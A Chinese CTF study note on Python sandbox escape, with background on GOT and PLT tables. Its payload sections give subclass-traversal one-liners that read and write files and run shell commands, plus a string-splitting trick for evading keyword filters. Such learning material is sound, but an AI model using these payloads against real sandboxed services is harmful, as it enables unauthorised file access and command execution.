python沙盒逃逸

tjctf上遇到了好几道py沙盒逃逸的题目

参考

https://blog.csdn.net/qq_35078631/article/details/78504415
https://bestwing.me/awesome-python-sandbox-in-ciscn.html
https://xz.aliyun.com/t/52
https://www.anquanke.com/post/id/85571
https://blog.csdn.net/wy_97/article/details/80393854

这几篇文章都挺好的 读了好几遍

内敛函数

在python中 不用引入直接使用的内置函数称为 builtin 函数,随着builtin这一个module 自动被引入到环境中

而它十分强大 可以 dir(‘builtins’) 查看

如果一些 内敛函数在builtins删除 ,我们可以通过reload(__builtins__)重新载入获取一个完整的builtins

创建对象,以及引用

有常见的两个方法

().__class__.__bases__[0]
''.__class__.__mro__[2]

常见payload

1
2
3
4
5
6
7
8
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

__dict____getattribute__

一个模块对象有一个由字典对象实现的命名空间…属性引用被转换为这个字典中的查找,例如,m.x等同于m.dict[“x”]

进而,我们可以通过__dict__引入我们想要引入的模块

__getattribute__是访问属性的方法

比如某个比赛的payload

1
2
3
4
x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s /home/ctf')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')

其中 linecache 模块的作用是将文件内容读取到内存中

这题还能用pwn中改got表的方法做 不过暂时看不懂orz

稍微了解下got表
https://blog.csdn.net/qq_18661257/article/details/54694748

补充:GOT表和PLT表

为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT表可以称为内部函数表,GOT表为全局函数表(也可以说是动态函数表这是个人自称),这两个表是相对应的,什么叫做相对应呢,PLT表中的数据就是GOT表中的一个地址,可以理解为一定是一一对应的

PLT表中的每一项的数据内容都是对应的GOT表中一项的地址这个是固定不变的,PLT表中的数据根本不是函数的真实地址,而是GOT表项的地址

其实在进入带有@plt标志的函数时,这个函数其实就是个过渡作用,因为GOT表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址。

那问题来了,这个@plt函数时怎么来的,这个函数是编译系统自己加的

可以通过disas gets看看里面的代码